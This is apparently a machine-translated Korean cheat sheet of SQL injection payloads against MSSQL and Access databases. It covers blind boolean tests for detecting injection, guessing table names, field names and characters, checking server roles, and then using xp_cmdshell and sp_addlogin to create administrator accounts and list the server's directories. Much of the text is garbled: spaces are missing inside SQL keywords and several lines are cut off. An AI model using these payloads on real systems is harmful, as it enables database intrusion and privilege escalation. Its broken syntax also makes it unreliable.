1. 주입이 있는지 여부를 결정하십시오
; 및 1 = 1
; 및 1 = 2
2. MSSQL인지에 대한 예비 판단
; Anduser> 0
3. 주입 매개 변수는 문자입니다
'및 [쿼리 조건] 및' '='
4. 검색 중에 필터링 매개 변수가 없습니다
'및 [쿼리 조건] 및'%25 '='
5. 판단 데이터베이스 시스템
; 및 (selectCount (*) FromSysObjects)> 0msSql
; 및 (selectCount (*) FromMsySobjects)> 0access
6. 데이터베이스를 추측하십시오
; 및 ([데이터베이스 이름])> 0에서 (selectCount (*))
7. 필드를 추측하십시오
; 및 (데이터베이스 이름에서 SelectCount (필드 이름))> 0
8. 필드의 레코드 길이를 추측하십시오
; 및 (데이터베이스 이름에서 selectTop1Len (필드 이름)> 0입니다
9. (1) 필드의 ASCII 값을 추측하십시오 (액세스)
; 및 (데이터베이스 이름에서 selectTop1asc (MID (Field Name, 1, 1))> 0
(2) 필드의 ASCII 값을 추측하십시오 (MSSQL)
; 및 (데이터베이스 이름에서 SELLETTOP1UNICODE (서브 스트링 (필드 이름, 1, 1))> 0
10. 테스트 권한 구조 (MSSQL)
; and1 = (selectis_srvrolemember ( 'sysadmin'));-
; and1 = (selectis_srvrolemember ( 'serverAdmin'));-
; and1 = (selectis_srvrolemember ( 'setupadmin'));-
; and1 = (selectis_srvrolemember ( 'securityAdmin'));-
; and1 = (selectis_srvrolemember ( 'diskadmin'));-
; and1 = (selectis_srvrolemember ( 'bulkadmin'));-
; and1 = (selectis_member ( 'db_owner'));-
11. MSSQL 및 시스템 계정을 추가하십시오
; execmaster.dbo.sp_addloginusername;-
; execmaster.dbo.sp_passwordnull, 사용자 이름, 비밀번호;-
; execmaster.dbo.sp_addsrvrolemembersysadminusername;-
; execmars
; execmaster.dbo.xp_cmdshell'netuseruserNamepassword/add ';-
; execmars
12. (1) 디렉토리를 전송합니다
; CreateTabledirs (Pathsvarchar (100), idint)
; insertDirsexecmaster.dbo.xp_dirtree'c :/'
; 및 (selectTop1pathsfromdirs)> 0
; (selectTop1pathsfromdirswherepathsnotin ( '이전 단계에서 얻은 경로')>)
(2) 디렉토리를 가로 지르십시오
; CreateTableTemp (Idnvarchar (255), Num1nvarchar (255), Num2nvarchar (255), Num3nvarchar (255));-
; inserttempexecmaster.dbo.xp_availablemedia;-모든 현재 드라이브를 얻습니다
; insertIntOtemp (id) execmaster.dbo.xp_subdirs'c :/';-하위 디렉토리 목록을 얻습니다
; insertIntOtemp (id, num1) execmas
; insertIntOtemp (id) execmas